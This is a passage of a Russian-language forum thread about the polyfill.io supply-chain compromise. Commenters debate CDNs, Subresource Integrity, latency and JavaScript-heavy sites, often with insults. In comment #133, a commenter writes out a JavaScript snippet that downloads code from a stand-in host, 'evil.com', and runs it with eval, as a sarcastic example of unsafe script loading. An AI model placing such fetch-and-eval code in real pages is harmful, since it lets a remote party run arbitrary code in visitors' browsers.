111. Сообщение от _kp (ok), 26-Июн-24, 12:43   +1 +/
Вряд ли не работают. Скриптом больше, скриптом меньше..

>>Отличное решение, на пять баллов.

Так того самого скрипта на сервере уже и так нет, а есть совсем другой, зараженный, хоть с тем же именем.
У Вас есть идеи как лучше практически сертифицированными на зловредность скриптами поступать? :)

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #100 Ответы: #122

112. Сообщение от Аноним (5), 26-Июн-24, 13:02   +/
> Потому что не смотря на всякие зеротлс и прочие антитехнологические изобретения улучшаек - время на установку нового (!) шифрованного (!) соединения с новым сервером вовсе не нулевое.

50-100 ms.

> А с твоим оно вот уже открыто, и скорее всего не одно. Ты даже и не заметишь что там еще сотня файлов по паре мегабайтиков пролетит.

1000-5000 ms.

Главное — не замечать того, что партия сказала не замечать.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #99 Ответы: #117

113. Сообщение от fuggy (ok), 26-Июн-24, 13:05   +/
Нахвататься вирусни правильное решение? Или ты один из владельцев казино-выгодополучателей.

Современным браузерам не нужны полифилы и без них всё работает.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #100 Ответы: #118, #123

115. Сообщение от Аноним (5), 26-Июн-24, 13:07   –1 +/
На самом деле, настроить pdns + geoip backend и десяток vrrp-пар варнишей в разных ДЦ не так уж сложно и дорого.

Другое дело — далеко не все понимают коммерческую значимость скорости загрузки сайта. Вот выше толпа "одминов" в свитерах с аленями™ думает, что CDN — бесполезная выдумка девляпсов®.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #92 Ответы: #129, #196, #200

116. Сообщение от Аноним (74), 26-Июн-24, 13:13   +1 +/
> А с твоим оно вот уже открыто, и скорее всего не одно. Ты даже и не заметишь что там еще сотня файлов по паре мегабайтиков пролетит.

То есть, открыть новое соединение - это быстрее, чем загрузить пару мегабайт? Причем соединение с серваком CDN, который рядом, а не на другом конце земного шара?

Я смотрю, ты мастер альтернативных мнений.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #99 Ответы: #119

117. Сообщение от нах. (?), 26-Июн-24, 13:15   +/
> 1000-5000 ms.

чувак, не хотелось бы огорчать, но у твоего подкроватного сервера, похоже, кот съел тот древний модем 2400, через который он был подключен. Сочувствую, хз где ты новый возьмешь теперь.

5 секунд (СЕКУНД) это у тех модемов хэндшейк столько примерно был.
А HTTP GET внутри уже открытого соединения немножко побыстрее происходит.

> Главное — не замечать того, что партия сказала не замечать.

главное не выдавать свои глюки за прописные истины.

И нет, rtt до клаудшмары у меня не 50ms. Это хороший rtt до операторского ближайшего роутера, и то если повезло.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #112 Ответы: #165

118. Сообщение от Аноним (74), 26-Июн-24, 13:15   –2 +/
> Или ты один из владельцев казино-выгодополучателей.

Нет, он один из местных юродивых, которые везде встяют со своим альтернативным мнением.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #113

119. Сообщение от нах. (?), 26-Июн-24, 13:19   –1 +/
> То есть, открыть новое соединение - это быстрее, чем загрузить пару мегабайт?

именно что нет, не быстрее. Даже если все уже закэшировано, а не "начнем с dns запроса..." Причем пару (сотен) мегабайт потом все равно придется загрузить. И узким местом там будет клиентский канал (а потом клиентский браузер, которому весь этот кот исполнять).

> Причем соединение с серваком CDN, который рядом, а не на другом

он не рядом. Тебя нае...ли.

> конце земного шара?

часто ты заходишь на сервер на другом конце земного шара? Причем содержащий, видимо, ровно ничего - все ж отдается с cdn.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #116 Ответы: #130

120. Сообщение от fuggy (ok), 26-Июн-24, 13:22   +/
Так программист не исполняет код, исполняет код компьютер клиента. Это пользователь не контролирует какой код исполняется. Что конечно не снимает вину с программиста добавившего библиотеку. Это уже заведомо уязвимое место грузить любой не ваш исполняемый код из интернета, а js это исполняемый код.
Ещё раз напомню, что весь js исполняется на компьютере клиента, это тоже самое что скачать рандомный бинарник из интернета.
Виноваты в этом конечно веб-программисты, которые ничего не могут без js. Но это тоже самое как для просмотра сайта требовался бы бинарник, с той лишь разницей что js скачивается без спроса пользователя.
Действительно скрипт нагружает систему не так, а больше. Есть исследование килобайты скрипта грузит систему как 1MB картинки.

В результате говоря адепты NoScript как всегда оказались правы.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #33

122. Сообщение от нах. (?), 26-Июн-24, 13:27   +/
> Вряд ли не работают. Скриптом больше, скриптом меньше..

если сайт использует полифил - не работает. Пустое белое ничего.
Даже любимых всеми овальчиков полупрозрачных нечем отрисовать.
И пользователю сообщить в чем проблема - тоже некуда. Был бы сам сайт в списке вредных - ублок бы справился, но это не сайт а скрипт с сайта. Такое он не умеет.

> Так того самого скрипта на сервере уже и так нет, а есть
> совсем другой, зараженный, хоть с тем же именем.

он хотя бы сайт отрисует. Ну, не без рекламы онлайн-казино (в чем собственно разница- скрипт это делает или сам владелец сайта решил озолотиться еще и таким образом? так и так если тебе сайт кровь из носу нужен - будешь чертыхаясь закрывать окошки онлайн казлин пока не получишь нужный результат, а нет - внесешь тот сайт в свой умственный список заблокированных и больше туда не пойдешь)

> У Вас есть идеи как лучше практически сертифицированными на зловредность скриптами поступать?

ну путь децетралайза теоретически проходим. Не уверен что у ублока при этом хватит встроенных средств.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #111

123. Сообщение от нах. (?), 26-Июн-24, 13:28   +1 +/
> Современным браузерам не нужны полифилы и без них всё работает.

на сайте изначально написанном для найтли билда твоего браузера - работает.
Если сайт использовал полифилы - нет, не работает.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #113

126. Сообщение от нах. (?), 26-Июн-24, 13:34   +1 +/
> https://blog.danieljanus.pl/2019/10/07/web-of-documents/

а теперь оплати штраф за парковку этим уе6офдокументс.

Ну или с вечера занимай очередь в сберкассу.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #108

129. Сообщение от нах. (?), 26-Июн-24, 13:40   +/
> На самом деле, настроить pdns + geoip backend и десяток vrrp-пар варнишей
> в разных ДЦ не так уж сложно и дорого.

но совершенно неэффективно.

Скорее всего будет даже медленнее во многих случаях. География и ip сети немного разные вещи.
Да и сколько тех разных ты сможешь себе позволить (напоминаю - в них не "vrrp" должно быть, а файлики лежать физически)

> Другое дело — далеко не все понимают коммерческую значимость скорости загрузки сайта.

Потому что это сказки.
Никто, ни один юзверь не уйдет с твоего сайта на другой потому что он на целых 0,1 секунды медленнее загружается.

Если ты конечно не мастер дорвеев и одноразовой рекламы.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #115 Ответы: #168

130. Сообщение от Аноним (74), 26-Июн-24, 13:44   +/
>> То есть, открыть новое соединение - это быстрее, чем загрузить пару мегабайт?

именно что нет, не быстрее.
> именно что нет, не быстрее

Ты только что выше писал буквально обратное. С тобой все хорошо?

> он не рядом. Тебя нае...ли.

Ну, тебе виднее. Главное, что тебя не проведешь.

> часто ты заходишь на сервер на другом конце земного шара?
> все ж отдается с cdn.

Ты уж определись, быстрее с CDN или медленее.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #119

133. Сообщение от GG (ok), 26-Июн-24, 13:50   –1 +/
> Чел, ты хоть сам понимаешь, что написано в этом тесте?

Да, я понимаю что это такое и через какую ж♡пу оно работает.
А ещё я понимаю что в 2024 году оно нужно только сумасшедшим или м♡к♡к♡м.

Для безопасной загрузки скриптов на сайтах со сторонних сидиэнов и прочих сервисов есть механизм.
Но загружать вот такое это всё равно что написать

```
<script>
  hmm = new XMLHttpRequest();
  hmm.onreadystatechange = function() {
    eval( hmm.responseText );
  }
  hmm.open("GET", "http://evil.com", true);
  hmm.send();
</script>
```

Написать можно и работать оно будет.
Но просто потому что что-то можно и будет работать, не значит что так надо делать.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #90 Ответы: #163

134. Сообщение от GG (ok), 26-Июн-24, 13:51   +/
> там динамически отдается полифил. это не статика. просто хеш не пропишешь.
> идеальный вектор для атаки )

Да, ССЗБ

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #84

136. Сообщение от Аноним (-), 26-Июн-24, 13:53   +/
> это был официальный Polyfill с официального сервака, у котрого с origin и integrity все в порядке.

Если твоя модель доверия сводится к количеству слов "официальный" в описании пакета, то чем ты лучше всех этих js-мартышек, которые грузят пакеты тысячами не парясь тем, что там грузится? Я тебе хоть тысячу слов "официальный" могу написать по поводу любого кода, и что, код от этого станет больше заслуживать доверия?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #90 Ответы: #155

137. Сообщение от Вирт (?), 26-Июн-24, 13:54   +/
Так в собранном из github polyfill не было "дополнительного" кода,
он был только в версии которая грузилась с CDN.

Поэтому посчитанная контрольная сумма для зависимости из github не сошлась бы с той что в CDN,
и браузер бы просто не скачал модифицированный polyfill.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #74 Ответы: #147

138. Сообщение от GG (ok), 26-Июн-24, 13:54   –4 +/
> сотни возможных враиантов

Ууу, это же десятки килобайт!
Слишком дорого, мы не можем себе этого позволить, наш сратап не выдержит такой финансовой нагрузки.

> Да - и все пользователи твоего сайта автоматически идут лесом.

А с какого хера сидиэн может менять версию библиотеки без ведома владельца сайта?
С таким подходом можно сразу ключи от квартиры им отдать и завещание на них оформить.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #107 Ответы: #160

139. Сообщение от Аноним (33), 26-Июн-24, 13:58   +/
Да ну как "дорогая"... если сайт написан один раз и надёжно, что тут может быть "дорогого"? (кроме специалиста, который может проф. верстать без жабоскриптов)
Раньше как-то ВЕСЬ веб обходился без JS - и ничего, ВСЁ работало! И меню, и форумы, и электронные магазины... как они так умудрялись, имея только HTML 3 и CGI? :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36 Ответы: #175, #181

141. Сообщение от GG (ok), 26-Июн-24, 14:00   +/
> на некоторых маршрутах RTT может достигать нескольких секунд

Если твой провайдер провайдит такие маршруты, никакой сидиэн тебе не поможет.
А у нормальных белых людей даже из сша в авсралию пинг не превышает пары сотен мс.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #12 Ответы: #158

142. Сообщение от Аноним (33), 26-Июн-24, 14:01   +1 +/
> Максимум чего хочет заказчик - это "шоб сайт не хуже чем у пацанов!"

Это те де6ильные SPA? Нет уж, спасибо... Лучше старая добрая статика, чем этот маразм.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #106 Ответы: #174

144. Сообщение от GG (ok), 26-Июн-24, 14:02   +/
> - НЕ ДЕЛАЕТ!

Хмм.

Ради интереса попробую форсировать отказы в загрузке на базе сессий.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #34

145. Сообщение от Аноним (33), 26-Июн-24, 14:05   +1 +/
Дело не в осликах, а в технологиях. Ты ПЕРЕГРУЖАЕШЬ ненужной хренью как сервер, так и клиента, так и самого программиста! Накой тебе 5 мегабайт скриптов для простой формы фидбэка?!!?!?!!? Там всего один тег [form] ! Это уже не говоря про апдейт этой хрени - простой HTML 3 можно курочить не приходя в сознание. А с жабоскриптами и тоннами CSS ты просто всё развалишь.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #56

146. Сообщение от Аноним (33), 26-Июн-24, 14:07   –1 +/
Ты переоцениваешь "тестирование в IE" :) Более того - если сайт свёрстан под HTML 3, тебе вообще почти ничего не придётся "тестировать", т.к. выглядеть всё будет почти одинаково! Тупо в силу того, что ыт использовал ПРОСТЫЕ ТЕГИ, а не замороченный JS.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #77 Ответы: #153

147. Сообщение от Аноним (74), 26-Июн-24, 14:07   +/
> Так в собранном из github polyfill не было "дополнительного" кода,

он был только в версии которая грузилась с CDN.

У тебя не было бы "собранного из github ployfill", потому что polyfill генерируется налету в зависимости от браузера. В лучшем случае ты мог бы запустить локальный polyfill и попытаться сгенерировать несколько сотен контрольных суммы для всех возможных комбинаций браузеров и их версий. А потом все это добро вставлять в каждую страницу сайта. И работать оно будет ровно до следующего обновлкния polyfill на cdn.

> Поэтому посчитанная контрольная сумма для зависимости из github не сошлась бы с той что в CDN,

и браузер бы просто не скачал модифицированный polyfill

Да, и при обновлении polyfill на cdn твой сайт отвалится у всех пользователей.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #137

149. Сообщение от GG (ok), 26-Июн-24, 14:09   +/
> Но ведь за трафик все равно кому-то придётся платить.
> В данном случае, платит владелец jsdeliver, и наверняка платит немало. А ему
> какая с этого выгода?

Массовая слежка за тем кто куда ходит, продают страховщикам, рекламным агентствам и правительствам.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #47

150. Сообщение от Аноним (33), 26-Июн-24, 14:11   +1 +/
> странички с сайта банка перестают работать из–за того что браузер не может отрисовать серые прямоугольники

+1000000000!!! Именно! Второстепенные перделки, которые мне вообще не упали, внезапно блокируют мне САМОЕ ГЛАВНОЕ, ради чего я зашёл на сайт!!

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65

151. Сообщение от GG (ok), 26-Июн-24, 14:11   +/
> И шрифтов на 5-10 метров. Зачем-то. Непонятно зачем.

С шрифтами красивее.
Загружаются они быстро и всего один раз, работу не замедляют, сложностей никаких не добавляют, а красота остаётся навсегда.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #57 Ответы: #197

153. Сообщение от noc101 (ok), 26-Июн-24, 14:15   +/
> Ты переоцениваешь "тестирование в IE" :) Более того - если сайт свёрстан
> под HTML 3, тебе вообще почти ничего не придётся "тестировать", т.к.
> выглядеть всё будет почти одинаково! Тупо в силу того, что ыт
> использовал ПРОСТЫЕ ТЕГИ, а не замороченный JS.

Между версией HTML и использованием JS нет прямой связи.
JS и до HTML5 активно использовался. И по правде говоря, HTML5 как раз уменьшает использование JS, а вот HTML3 как раз увеличивает.
Был бы в теме, понимал это.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #146

154. Сообщение от Аноним (-), 26-Июн-24, 14:16    Скрыто ботом-модератором+/
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #33

155. Сообщение от Аноним (74), 26-Июн-24, 14:18   +/
> Если твоя модель доверия сводится

А я что-то говорил о *своей* модели доверия?

Раз уж ты сам себя за язык потянул, то поведай о модели доверия "не мартышек": расскажи, пожалуйста, как ты ставишь софт на свой комп.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #136 Ответы: #156

156. Сообщение от Аноним (-), 26-Июн-24, 14:29   –2 +/
> А я что-то говорил о *своей* модели доверия?

Да, совершенно определённо. Ты так подчёркивал слова "официально" и с такой безнадёгой говорил о том, что им верить нельзя... определённо твоя модель доверия сводится к количеству слов "официальный" в описании.

> Раз уж ты сам себя за язык потянул, то поведай о модели доверия "не мартышек": расскажи, пожалуйста, как ты ставишь софт на свой комп.

Тебе надо выйти из подросткового возраста, понять что абсолютной истины либо не существует, либо она как правило недостижима для тебя, и почитать умных людей за последние пару тысяч лет, кто над этой проблемой ломал голову. Когда ты сформируешь у себя какое-то понимание истины, которое будет опираться не на финальные авторитеты, а на методы валидации/фальсификации потенциальных истин, вот тогда твой вопрос у тебя отвянет.

В целом, высшее образование как правило решает такие проблемы, и наделяет выпускников пониманием истины, которого достаточно в подавляющем большинстве ситуаций. Так что если самостоятельно копать нет желания или умения, ты можешь поступить в ВУЗ и закончить его. А если ты пойдёшь на IT специальность, то тебе там и азы безопасности расскажут, и тебе не надо будет даже самостоятельно конструировать применения философских идей об истинности к IT задачам. За тебя всё сделают, разжуют и в рот положат.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #155 Ответы: #157

157. Сообщение от Аноним (74), 26-Июн-24, 14:43   +1 +/
>> А я что-то говорил о *своей* модели доверия?
> Да, совершенно определённо

Нет, не говорил. Или ты, лжец, можешь привести соответствующую мою цитату?

>> Раз уж ты сам себя за язык потянул, то поведай о модели доверия "не мартышек": расскажи, пожалуйста, как ты ставишь софт на свой комп.
> Тебе надо выйти из подросткового возраста, понять что абсолютной истины либо не существует, либо она как правило недостижима для тебя, и почитать умных людей за последние пару тысяч лет, кто над этой проблемой ломал голову.

Гсподи, чел, ты можешь просто ответить на заданный вопрос, а не пускать пыль в глаза?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #156 Ответы: #162

158. Сообщение от Аноним (5), 26-Июн-24, 14:52   +/
Ну да, точно, виноват провайдер пользователя. У которого всего 2-3 аплинка обычно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #141

159. Сообщение от Kuromi (ok), 26-Июн-24, 14:54   +/
Локальную копию обновлять надо самостоятельно или колхозить что-то, кэшируется хуже, трафик опять же дополнительный.

Тем не менее, кто хочет - использует, иногда даже очень древние версии (что тоже не хорошо).

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

160. Сообщение от Аноним (74), 26-Июн-24, 15:05   +/
> Ууу, это же десятки килобайт!

Слишком дорого, мы не можем себе этого позволить, наш сратап не выдержит такой финансовой нагрузки.

При чем здесь финансовая нагрузка стартапа, если эти сотни хешей нужно вставлять в пользовательские страницы?

> А с какого хера сидиэн может менять версию библиотеки без ведома владельца сайта?

А он должен для этого получить письменное разрешение сотни тысяч пользователей, или что?

Я смотрю, тебе спорить - как с горы катиться. Вроде уже публично обделался со своей экспертизой по Subresource Integrity, но остановиться нести чушь так трудно, да?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #138

162. Сообщение от Аноним (-), 26-Июн-24, 15:12   –1 +/
> Нет, не говорил. Или ты, лжец, можешь привести соответствующую мою цитату?

Зачем мне цитата? Я уже прочитал твои слова и понял их.

> Гсподи, чел, ты можешь просто ответить на заданный вопрос

Нет, сложные вопросы требуют сложных ответов. Если ты ждёшь, что я тебе здесь сейчас эссе накатаю на 40k слов, объясняя разные подходы к истине, сопутствующие матмодели, ограничения матмоделей и подходов, то ты глубоко заблуждаешься.

Ты б ещё попросил бы матан в трёх словах по-простому изложить.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #157 Ответы: #164

163. Сообщение от Аноним (74), 26-Июн-24, 15:12   +2 +/
> Для безопасной загрузки скриптов на сайтах со сторонних сидиэнов и прочих сервисов есть механизм.

Ну так ты о нем расскажешь наконец? Ведь Subresource Integrty, про который ты только что с умным видом заливал, в этом случае бесполезен.

> Но загружать вот такое это всё равно что написать

Вау, смотрите, он может написать хэллоуворлд на js! Жаль, что смысла твоим умничаниям это не добавляет...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #133

164. Сообщение от Аноним (74), 26-Июн-24, 15:16   +/
> Я уже прочитал твои слова и понял их

Нет, не понял, и поэтому приписываешь мне то, чего я не говорил. То есть лжешь.

>> Гсподи, чел, ты можешь просто ответить на заданный вопрос
> Нет, сложные вопросы требуют сложных ответов.
> Ты б ещё попросил бы матан в трёх словах по-простому изложить.

Чувак, вопрос был "как ты ставишь софт на свой комп".

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #162 Ответы: #167

165. Сообщение от n00by (ok), 26-Июн-24, 15:24   +/
>> 1000-5000 ms.
> чувак, не хотелось бы огорчать, но у твоего подкроватного сервера, похоже, кот
> съел тот древний модем 2400, через который он был подключен. Сочувствую,
> хз где ты новый возьмешь теперь.
> 5 секунд (СЕКУНД) это у тех модемов хэндшейк столько примерно был.
> А HTTP GET внутри уже открытого соединения немножко побыстрее происходит.

Что-то мне вспомнилось удивлённое лицо сантехника, который мне пел про СНиПы и "всё нормально", я а его "вгрузил" формулой "два пи эр" и заставил всё переделать, поскольку он посчитать не смог, сколько по трубе воды проходит. Но то сантехник и геометрия с физикой, а тут вроде айтишник и деление... ппц. Знать бы, куда таких на работу берут.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #117

166. Сообщение от n00by (ok), 26-Июн-24, 15:34   +1 +/
> в калоклаудах стоит минимум 2 цента в пиринговые сети за 1 гб
> (и 5 центов в остальные), ну посчитай во что тебе выльется
> 1 гигабитный аплинк за месяц

Зачем так жёстко? Тут народ миллисекунды в секунды перевести не может, надо быть толерантнее.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #62

167. Сообщение от Аноним (-), 26-Июн-24, 15:34   +/
> Нет, не понял, и поэтому приписываешь мне то, чего я не говорил.

Судя по качеству твоей аргументации в этом сообщении, я всё понял абсолютно правильно.

> Чувак, вопрос был "как ты ставишь софт на свой комп".

Какое это имеет отношение к данной новости? Ты в курсе, что модели угроз в случае софта дома и в случае подключения js-скрипта с левого сайта принципиально различаются?

Ты видишь? Ты каждым своим словом подтверждаешь мой изначальный диагноз.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #164 Ответы: #171

168. Сообщение от n00by (ok), 26-Июн-24, 15:38   +/
> Потому что это сказки.
> Никто, ни один юзверь не уйдет с твоего сайта на другой потому
> что он на целых 0,1 секунды медленнее загружается.

Пруф: при наборе "тормозит сайт" поисковик подставляет:
Ютуб
магазин из 3-х букв (и заменяет "тормозит" на "лагает"!)
одноглазники
другой магазин-барахолку
сайт транспортной компании-монополиста
ещё один магазин
ещё один магазин
...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #129 Ответы: #173

169. Сообщение от n00by (ok), 26-Июн-24, 15:45   –2 +/
>> А его серваку и не надо [...] На его  полтора клиента
> Ты вообще о ком? И окуда заранее знаешь, что ему надо и
> сколько у него клиентов?

Оттуда же, откуда ты знаешь "А у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою варсию."

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #109 Ответы: #189

170. Сообщение от timur.davletshin (ok), 26-Июн-24, 15:51   +/
> теперь все сайты, использующие полифилы, просто не работают. Отличное решение, на пять
> баллов.

Именно! И ирония тут неуместна.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #100

171. Сообщение от Аноним (74), 26-Июн-24, 15:56   +/
>> Чувак, вопрос был "как ты ставишь софт на свой комп".
> Какое это имеет отношение к данной новости?

Это имеет отношение к твоим домыслам о моей модели доверия и выводу, что я ничем не отличаюсь от "всех этих js-мартышек".

Твоя же отличается, правильно? Ты же не "js-мартышка"? Вот и расскажи о своей модели доверия.

> Ты в курсе, что модели угроз в случае софта дома и в случае подключения js-скрипта с левого сайта принципиально различаются?

Вот именно. Поэтому и интересно, какая модель доверия у такого знатного эксперта. Ну, чтобы ты своими словами - а не пылью в глаза - подтвердил уровень своей экапертизы.

> Ты видишь?

Я вижу, что ты все еще не ответил на простой вопрос и продолжаешь нелепо извиваться на сковороде.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #167 Ответы: #176

172. Сообщение от YetAnotherOnanym (ok), 26-Июн-24, 16:00   –1 +/
> страница будет загружаться по полминуты

Не называйте веб-страницей груду навоза из сотен js и css, генерируемую моднявым веб-фреймворком.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #12

173. Сообщение от нах. (?), 26-Июн-24, 16:04   +/
э... ну... эта... ты б не палился так. Все же "Поисковик" для каждого - свой.

Разумеется ютуб я тоже смотрю, но одноглазики - брр... это какой-то самодонос у тебя получился.

Но в целом да, суть правильна - ХРЕН ты куда с этих сайтов денешься.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #168 Ответы: #225

174. Сообщение от нах. (?), 26-Июн-24, 16:08   +/
>> Максимум чего хочет заказчик - это "шоб сайт не хуже чем у пацанов!"
> Это те де6ильные SPA?

Мне кажется, заказчик и ЭТОГО тоже не заказывал. В смысле, не имел в виду именно эту фичу как "не худшую чем у пацана", и прекрасно бы обошелся без нее. Просто яа-у-мамы-дизигнер так видит.

> Нет уж, спасибо... Лучше старая добрая статика, чем этот маразм.

SPA вполне бывают динамическими. Лучше от этого, естественно, никому не становится.


Ответить | Правка | Наверх | Cообщить модератору
Родитель: #142

175. Сообщение от нах. (?), 26-Июн-24, 16:16   –1 +/
> И меню, и форумы, и электронные магазины... как они так умудрялись,

ну...э... как-то оно конечно работало, но я не очень хочу туда в такое светлое прошлое

> имея только HTML 3 и CGI? :)

masterbank.ru образца 2008го года - "введите номер счета в это поле... да-да, ручками все стопиццотцифирок, старайтесь не ошибаться, а то заново будете все поля (их не одно!) заполнять" (ведь проверить допустимость ввода на ходу Cgi нам не позволит - все как у дидов, только по нажатию submit)

masterbank.ru образца 2009го года - "ну ладно, для ваших СОБСТВЕННЫХ аж трех счетов - нажмите вот сюда" (новая страница, не фрейм или что еще, где можно галочкой выбрать один из трех и вернуться к преды...нет, к новой где это поле уже заполнено и его нельзя редактировать. Спасибо, а то на старой версии их посмотреть было негде - надо открывать во втором окне другую страницу где есть эти номерки)

ну как-то так себе удобства, если честно. Причем ты, понятно, не захочешь ТАК реализованной страницы с выбором переводов каким-то организациям и простыней на двадцать экранов без автопоиска и автофильтров. И двадцать раз кликать по ссылкам на иерархическую (которую еще кто-то должен придумать за тебя и сделать чтоб ты нашел искомое а не заблудился и вынужден был начинать с самого верха) тоже не хочешь.

Но да, отрисовывалось такое - мгновенно. Даже не на коре дуба а на селероне 486. И даже то что до отрисовки целиком загружалось с сервера - было абсолютно ненапряжно.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #139 Ответы: #187, #220

176. Сообщение от Аноним (-), 26-Июн-24, 16:16   +/
> Это имеет отношение к твоим домыслам о моей модели доверия и выводу, что я ничем не отличаюсь от "всех этих js-мартышек".

Если тебе эти мои "домыслы" причиняют такой баттхёрт, то это твои проблемы.

> Поэтому и интересно, какая модель доверия у такого знатного эксперта.

Зависит от модели угроз, я ж сказал уже.

> продолжаешь нелепо извиваться на сковороде.

Если ты не хочешь развивать своё мышление, то не надо валить ответственность за это на меня. Твоя лень -- это _твоя_ лень.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #171 Ответы: #178

177. Сообщение от fuggy (ok), 26-Июн-24, 16:20   +/
> Оригинальный разработчик заявил, что никогда не владел доменом polyfill .io

Если это так, то 100000 неграмотных разработчиков не просто добавило лишнюю библиотеку (точку атаки), а добавило библиотеку с левого домена.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #182

178. Сообщение от Аноним (74), 26-Июн-24, 16:45   +/
> Если тебе эти мои "домыслы" причиняют такой баттхёрт, то это твои проблемы.

О чем ты, какой баттхерт? Я просто угораю с местного эксперта, у котрого просишь ответить на вопрос об установке софта, а он на серьезных начинает втирать про "разные подходы к истине, сопутствующие матмодели, ограничения матмоделей и подходов".

Я такой дичи в реальной жизни не втречал. Жги еще!

Так ты на вопрос ответишь?

> Зависит от модели угроз, я ж сказал уже.

Выбирай любую:

* PolyFill в браузере юзера.
* Нужно установить софт на  комп.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #176 Ответы: #204

179. Сообщение от Аноним (179), 26-Июн-24, 16:45   +/
Ограничь себя CSS2 и радуйся. Ну или пиши бесплатный конвертер с открытым кодом. Мы будем все тебе ныть. Может потом продашь китайцам.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #39

180. Сообщение от Аноним (179), 26-Июн-24, 16:50   +/
Расскажи это свидетелям и пользователям фэйсбука и инстаграмма. И как правило это требование архитектора, если про уровень предприятия.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #106 Ответы: #190

181. Сообщение от Аноним (179), 26-Июн-24, 16:53   +/
Ты ещё флеш вспомни и ActiveX.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #139 Ответы: #183, #203

182. Сообщение от Аноним (8), 26-Июн-24, 16:53   +1 +/
Домену столько же лет сколько самой библиотеке: Creation Date: 2013-03-18T19:00:23Z
Напоминает историю с XZ, где разраб говорил что я не я у меня не было доступа кто то там что то закомитил итд итп.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #177

183. Сообщение от Аноним (179), 26-Июн-24, 16:53   +/
...Macromedia Flash
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #181

184. Сообщение от Аноним (-), 26-Июн-24, 16:59   +/
>теперь все сайты, использующие полифилы, просто не работают. Отличное решение, на пять баллов.

Мошенников надо выявлять и давить всеми возможными способами. Ты видимо сочувствуешь мошенникам.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #100

187. Сообщение от Аноним (179), 26-Июн-24, 17:10   –2 +/
> masterbank.ru образца 2008го года - "введите номер счета в это поле... да-да, ручками все стопиццотцифирок, старайтесь не ошибаться, а то заново будете все поля (их не одно!) заполнять" (ведь проверить допустимость ввода на ходу Cgi нам не позволит - все как у дидов, только по нажатию submit)

На сегодняшний день сложно обеспечить безопастность без JS если речь идёт о банке. В таком случае придётся красными буквами писать что это не очень безопасно и подключать как-то это отдельно. Есть несколько типов атак, от которых такой банк не будет защищен, которые мне сразу приходят в голову. Я не буду вам рассказывать конкретно об этих атаках по понятным причинам.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #175 Ответы: #188

188. Сообщение от Аноним (179), 26-Июн-24, 17:14   +/
Впрочем и средства противодействия тоже начали приходить в голову.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #187

189. Сообщение от Аноним (74), 26-Июн-24, 17:18   +/
> Оттуда же, откуда ты знаешь "А у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою варсию."

Кто бы мог подумать, что один сервер слабее, чем сотня серверов раскиданых по всему земному шару.

Опеннетная логика как всегда пробивает дно.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #169 Ответы: #219, #224

190. Сообщение от нах. (?), 26-Июн-24, 17:19   +/
> Расскажи это свидетелям и пользователям фэйсбука и инстаграмма.

пейсбук и хипстаграм довольно таки всеядны к браузерам. Ну за исключением любимого тут всеми ешака6. (втентакль куда более дое6ист - возможно там тоже полифил) При том что если завтра они вообще в любом браузере перестанут открываться - никто даже особо и не заметит. Во-первых в РФ уже. Во-вторых таки не заметили. Потому что... правильно - потому что они уже давно телефонные приложеньица, и редкие извращенцы открывающие десктопные версии - не аудитория.

> И как правило это требование архитектора, если про уровень предприятия.

